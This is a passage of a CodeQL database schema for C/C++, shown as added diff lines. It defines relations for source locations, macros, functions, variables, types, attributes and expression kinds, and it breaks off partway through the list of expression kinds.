unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = 